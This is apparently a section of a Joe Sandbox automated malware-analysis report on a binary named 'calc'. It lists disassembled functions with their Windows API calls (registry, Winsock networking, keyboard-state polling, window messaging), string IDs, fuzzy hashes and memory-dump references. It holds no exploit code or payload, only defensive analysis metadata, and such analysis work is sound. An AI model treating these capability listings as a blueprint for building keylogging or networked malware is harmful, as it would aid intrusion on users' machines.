      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: BuffCharUpper
      • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
      • API String ID: 3964851224-909552448
      • Opcode ID: ea952f2150a40c486bed9d5bb19761509c9b5ef807b376e14e84e5588de93987
      • Instruction ID: ab713c0e03b4ebef2095cd19d918e8f5394ede6d00fec2e271b3f25400b9f2ae
      • Opcode Fuzzy Hash: ea952f2150a40c486bed9d5bb19761509c9b5ef807b376e14e84e5588de93987
      • Instruction Fuzzy Hash: BB8102315447486AEF25ABA4DC427ED3B60EF45314F14418BED413A2E2C77C9E89C7AA
      Function 00431897 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 223COMMON
      Download Yara Rule
      APIs
      • VariantInit.OLEAUT32(?), ref: 004319A8
      • VariantInit.OLEAUT32(DC), ref: 00431A82
      • VariantClear.OLEAUT32(DC), ref: 00431A92
      • VariantClear.OLEAUT32(00000001), ref: 00431AEA
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Variant$ClearInit
      • String ID: DC$DC$F$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$_NewEnum$get__NewEnum
      • API String ID: 2610073882-3162301050
      • Opcode ID: 95fb134cfc80a911596242a7b61f76450ee34d4b006b6fd6f10a8658da58380b
      • Instruction ID: 8083f426d9f894f1bc40dfaa809b4d26ab45a09ced0e321bccf615fb93141159
      • Opcode Fuzzy Hash: 95fb134cfc80a911596242a7b61f76450ee34d4b006b6fd6f10a8658da58380b
      • Instruction Fuzzy Hash: 89817C71900209ABCF20DFE5CC84EEEB7B8AF08315F10456EF515A72A1D7B89E45CB69
      Function 0042ED85 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 212networkmemoryCOMMON
      Download Yara Rule
      APIs
      • WSAStartup.WS2_32(00000101,?), ref: 0042EE13
      • inet_addr.WS2_32(00000000), ref: 0042EE3D
      • gethostbyname.WS2_32(00000000), ref: 0042EE46
      • FreeLibrary.KERNEL32(?,00000000,00000000), ref: 0042EE72
      • GlobalAlloc.KERNEL32(00000040,00000040), ref: 0042EECC
      • FreeLibrary.KERNEL32(?,00000000,00000000,00000101,?,00000000), ref: 0042EEFF
      • FreeLibrary.KERNEL32(?,00000000,00000000,00000101,?,00000000), ref: 0042EF09
      • FreeLibrary.KERNEL32(?,00000000,00000000,00000101,?,00000000), ref: 0042EF13
      • GlobalFree.KERNEL32(00000000), ref: 0042EFC5
      • WSACleanup.WS2_32 ref: 0042EFCB
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Free$Library$Global$AllocCleanupStartupgethostbynameinet_addr
      • String ID: #v
      • API String ID: 3097805930-554117064
      • Opcode ID: 8f061333444a43ffdaff18d45f32bf790a523f2a2d6c08af46e4de7f2615d1a7
      • Instruction ID: c17d4d86a3619faaae84c48cea73a3c8c8d1c6773a1b105f31c35f6741a2f7fe
      • Opcode Fuzzy Hash: 8f061333444a43ffdaff18d45f32bf790a523f2a2d6c08af46e4de7f2615d1a7
      • Instruction Fuzzy Hash: 48719C31A00229EBDF20EFA6E9819AEB7B4BF04314F95413BF514A7291C7389D85CB59
      Function 004126BC Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 169windowsleepCOMMON
      Download Yara Rule
      APIs
      • GetMenuItemInfoW.USER32(0047A6A8,000000FF,00000000,0000002C), ref: 0041272A
      • SetMenuItemInfoW.USER32(0047A6A8,00000004,00000000,0000002C), ref: 00412760
      • Sleep.KERNEL32(000001F4,0047A6A8,?,00000000), ref: 00412771
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: InfoItemMenu$Sleep
      • String ID: ,
      • API String ID: 1196289194-3772416878
      • Opcode ID: 840733704e8b72faa693b97eaa8618e70ee49a5f4cbdb18606633d748c6003fc
      • Instruction ID: 673f1c98b9e666d0017e1a7833c8b8cc34a90406b02290c59e1f383dc2874613
      • Opcode Fuzzy Hash: 840733704e8b72faa693b97eaa8618e70ee49a5f4cbdb18606633d748c6003fc
      • Instruction Fuzzy Hash: 5D51B670904208EFEF11DF94CA84AEEBBB4BF00308F24415EE551E2291D3B89EE5DB19
      Function 004305B5 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 143registryCOMMON
      Download Yara Rule
      APIs
      • StringFromIID.COMBASE(?,?), ref: 004305D5
      • CoTaskMemFree.COMBASE(?), ref: 00430627
      • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 0043063F
      • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?), ref: 0043066D
      • CLSIDFromString.COMBASE(00000000,?), ref: 0043069C
      • RegQueryValueExW.ADVAPI32(?,Version,00000000,00000000,?,00000001), ref: 004306D1
      • LoadRegTypeLib.OLEAUT32(?,00000000,00000000), ref: 00430724
      • RegCloseKey.ADVAPI32(?), ref: 0043074D
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: FromQueryStringValue$CloseFreeLoadOpenTaskType
      • String ID: Version$\TypeLib$interface\
      • API String ID: 3215668907-939221531
      • Opcode ID: 4832374c04a19b00eb409d5101276f53bde8b5d7d4d5d05a0b0921a33f83a77a
      • Instruction ID: b655124fc70be52ddb42d0f67ed840a6ab8a9596b0c865405af6a81620bfd038
      • Opcode Fuzzy Hash: 4832374c04a19b00eb409d5101276f53bde8b5d7d4d5d05a0b0921a33f83a77a
      • Instruction Fuzzy Hash: AC416076800118EBCF10EBA5DC89CDEBBB8FF48315F11056AF915A3161DB349E44DB64
      Function 004108E0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128keyboardCOMMON
      Download Yara Rule
      APIs
      • MapVirtualKeyW.USER32(0000005B,00000000), ref: 0041090B
      • MapVirtualKeyW.USER32(00000010,00000000), ref: 00410916
      • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00410924
      • MapVirtualKeyW.USER32(000000A1,00000000), ref: 00410932
      • MapVirtualKeyW.USER32(00000011,00000000), ref: 0041093D
      • MapVirtualKeyW.USER32(00000012,00000000), ref: 00410948
      • GetKeyboardLayoutNameA.USER32(?), ref: 00410954
      • VkKeyScanA.USER32(00000000), ref: 00410968
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Virtual$KeyboardLayoutNameScan
      • String ID: 0002$0409$0809
      • API String ID: 983989243-2507973371
      • Opcode ID: e26775cac1d69ddc040335cf172753ea57e0579228d91fe694fe3cb24bc9a97e
      • Instruction ID: bec2c5736e6295f485510cdfee5d2b4694b43ecfdd9fd1275449d8d207afea38
      • Opcode Fuzzy Hash: e26775cac1d69ddc040335cf172753ea57e0579228d91fe694fe3cb24bc9a97e
      • Instruction Fuzzy Hash: 4241F971549388ACF720EBB95C0AB977BD89F61309F14006BE594D7183E6FCA488871E
      Function 004149FA Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 80sleeptimewindowCOMMON
      Download Yara Rule
      APIs
      • timeGetTime.WINMM ref: 00414A04
      • timeGetTime.WINMM ref: 00414A1A
      • Sleep.KERNEL32(0000000A), ref: 00414A2E
      • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00414A72
      • SetActiveWindow.USER32 ref: 00414A93
      • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00414AA1
      • SendMessageW.USER32(00000010,00000000,00000000), ref: 00414AC1
      • Sleep.KERNEL32(000000FA), ref: 00414ACC
      • IsWindow.USER32 ref: 00414AD8
      • EndDialog.USER32(00000000), ref: 00414AE9
        • Part of subcall function 00415D17: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00415D3E
        • Part of subcall function 00415D17: GetCurrentThreadId.KERNEL32 ref: 00415D45
        • Part of subcall function 00415D17: AttachThreadInput.USER32(00000000), ref: 00415D4C
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Window$Thread$MessageSendSleepTimetime$ActiveAttachCurrentDialogFindInputProcess
      • String ID: BUTTON
      • API String ID: 2994871518-3405671355
      • Opcode ID: 9d3f59f38da363da99795c867b164ececa99e12e4f25dd3b184a9f13c30bfd9f
      • Instruction ID: d49f01f2a66b3b3a274d5297f5f74a72a47ae71303348ed1a4dedd9e64d469b0
      • Opcode Fuzzy Hash: 9d3f59f38da363da99795c867b164ececa99e12e4f25dd3b184a9f13c30bfd9f
      • Instruction Fuzzy Hash: C621C532398605FFF7116F20FE899AA3BA8EBC4382B110476F20591471D7658DD09B2C
      Function 00415B6C Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON
      Download Yara Rule
      APIs
      • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00415BDA
      • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00415BEE
      • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00415BFE
      • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00415C11
      • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00415C1E
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: SendString
      • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
      • API String ID: 890592661-1007645807
      • Opcode ID: a6c9c36fc8fcd97dcfd1441e7ee06fd675b2ab39cddef83ac0e58676806962c8
      • Instruction ID: b1822fddb4a767dec974c595ee76e1b150c2e2547c3de3647d388603338b342e
      • Opcode Fuzzy Hash: a6c9c36fc8fcd97dcfd1441e7ee06fd675b2ab39cddef83ac0e58676806962c8
      • Instruction Fuzzy Hash: A1119670D4020CBEEB10ABA1ECC1EEF7B7CDF44798F504167B410A2091E7A89E8486A9
      Function 004301FC Relevance: 18.2, APIs: 12, Instructions: 193COMMON
      Download Yara Rule
      APIs
      • VariantInit.OLEAUT32(-00000048), ref: 00430217
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: InitVariant
      • String ID:
      • API String ID: 1927566239-0
      • Opcode ID: ba28c3041cd4c6874d2c18b63d8c63254bd3445e0bfa78ee4fa0ae738adc1948
      • Instruction ID: 9d7999fc2cd5a7606b955a0f693963966027de556b63af81db066f69122e02aa
      • Opcode Fuzzy Hash: ba28c3041cd4c6874d2c18b63d8c63254bd3445e0bfa78ee4fa0ae738adc1948
      • Instruction Fuzzy Hash: C4618E31900214EBCB01DFA5CC989AEB7B4FF0C315F2096AAE815E7251DB78DE41DB59
      Function 004085D5 Relevance: 18.2, APIs: 12, Instructions: 180windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(?,?,000000FF,00000000), ref: 004086B2
      • SendMessageW.USER32(?,?,00000000,00000000), ref: 004086C2
      • CharNextW.USER32(00000000,?,004276A0,00478410,00000000,?), ref: 004086EE
      • SendMessageW.USER32(?,?,00000000,00000000), ref: 00408701
      • SendMessageW.USER32(?,?,00000000,?), ref: 00408715
      • SendMessageW.USER32(?,?,000000FF,00000000), ref: 00408742
      • SendMessageW.USER32(?,?,00000000,00000000), ref: 00408756
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend$CharNext
      • String ID:
      • API String ID: 1350042424-0
      • Opcode ID: 8c88817049833f1abaebf2bb00d923f4e82f64ab36498c7e6d37ed6b6d0516a9
      • Instruction ID: b12c777ac9d0b86c010d8e88b360e31c6d53ff0b2d7a97ce2183b31ba9e66b68
      • Opcode Fuzzy Hash: 8c88817049833f1abaebf2bb00d923f4e82f64ab36498c7e6d37ed6b6d0516a9
      • Instruction Fuzzy Hash: AB519E71600308EBDF219F64CE45BAA3BA5AF44314F24412FF9A4A62E1DB79DC52CF58
      Function 0040E741 Relevance: 18.2, APIs: 12, Instructions: 168COMMON
      Download Yara Rule
      APIs
      • GetDlgItem.USER32(?,00000001), ref: 0040E764
      • GetWindowRect.USER32(00000000,?), ref: 0040E77C
      • MoveWindow.USER32(00000001,0000000A,?,?,?,00000000), ref: 0040E7D4
      • GetDlgItem.USER32(?,00000002), ref: 0040E7DE
      • GetWindowRect.USER32(00000000,?), ref: 0040E7F0
      • MoveWindow.USER32(00000001,?,00000000,?,?,00000000), ref: 0040E842
      • GetDlgItem.USER32(?,000003E9), ref: 0040E84F
      • GetWindowRect.USER32(00000000,?), ref: 0040E861
      • MoveWindow.USER32(?,0000000A,00000000,?,?,00000000), ref: 0040E8A4
      • GetDlgItem.USER32(?,000003EA), ref: 0040E8AE
      • MoveWindow.USER32(00000000,0000000A,0000000A,?,-000000FB,00000000), ref: 0040E8CA
      • InvalidateRect.USER32(?,00000000,00000001), ref: 0040E8D3
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Window$ItemMoveRect$Invalidate
      • String ID:
      • API String ID: 3096461208-0
      • Opcode ID: 3a1dcebfad33eec77ff6b25477c45e905561baac400562b15739efe02f938839
      • Instruction ID: 9b8544a1d6d145af6ded319fd2928cc87b79eb69e54e7660af3b66d43001a818
      • Opcode Fuzzy Hash: 3a1dcebfad33eec77ff6b25477c45e905561baac400562b15739efe02f938839
      • Instruction Fuzzy Hash: 7E5147B1E0020AAFDF04CFA9DD45AAEBBB9FB44311F14812AF515E7290E770AE00CB54
      Function 00410F35 Relevance: 18.2, APIs: 12, Instructions: 152keyboardCOMMON
      Download Yara Rule
      APIs
      • GetKeyboardState.USER32(00000001), ref: 00410FD3
      • SetKeyboardState.USER32(00000001), ref: 00411021
      • GetAsyncKeyState.USER32(00000011), ref: 00411035
      • GetKeyState.USER32(00000011), ref: 00411043
      • GetAsyncKeyState.USER32(00000012), ref: 00411064
      • GetKeyState.USER32(00000012), ref: 0041106D
      • GetAsyncKeyState.USER32(000000A0), ref: 00411093
      • GetKeyState.USER32(000000A0), ref: 0041109B
      • GetAsyncKeyState.USER32(000000A1), ref: 004110C0
      • GetKeyState.USER32(000000A1), ref: 004110C8
      • GetAsyncKeyState.USER32(0000005B), ref: 004110E9
      • GetKeyState.USER32(0000005B), ref: 004110F3
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: State$Async$Keyboard
      • String ID:
      • API String ID: 541375521-0
      • Opcode ID: 551dbde3f8065375312253c687410048079869a797f1a7c7e8a518f2e63a8ba4
      • Instruction ID: 0a29760dd22265b3d953272a9e43809e9e5c528ef8a2cbe6b81addde34154a84
      • Opcode Fuzzy Hash: 551dbde3f8065375312253c687410048079869a797f1a7c7e8a518f2e63a8ba4
      • Instruction Fuzzy Hash: 8D51D4306047859AEB349B34C94A7DB7AC09F19784F04041EEA8D973E2D7FC99C5C61D
      Function 00431152 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 205COMMON
      Download Yara Rule
      APIs
      • StringFromCLSID.COMBASE(?,00000000), ref: 00431209
      • CoTaskMemFree.COMBASE(00000000), ref: 00431225
      • StringFromIID.COMBASE(?,00000000), ref: 0043130F
      • CoTaskMemFree.COMBASE(00000000), ref: 00431327
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: FreeFromStringTask
      • String ID: CLSID\$Interface\$ProgID$ToolBoxBitmap32$inprocserver32$localserver32
      • API String ID: 910554386-2412192186
      • Opcode ID: 6dfcbc6126d7e1adef419d680d0bc0d4d3c0ea62a5b762055ce8b29b0c99149b
      • Instruction ID: 0b4f8b80ce955dd39e9ac8b4367f021f5a5185ffdf9ca56efeb76a6332b40596
      • Opcode Fuzzy Hash: 6dfcbc6126d7e1adef419d680d0bc0d4d3c0ea62a5b762055ce8b29b0c99149b
      • Instruction Fuzzy Hash: 88615B35A00208AFDB10EBA1CC85EEEB7B9EF08314F14455AF812E7261DB38E945DB58
      Function 00423BD7 Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 201COMMON
      Download Yara Rule
      APIs
      • CharLowerBuffW.USER32(?,?,?,00000000,0045C6D0), ref: 00423C27
      • GetDriveTypeW.KERNEL32(?,00460454,00000061,unknown,ramdisk,network,fixed,removable,cdrom,all), ref: 00423D90
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
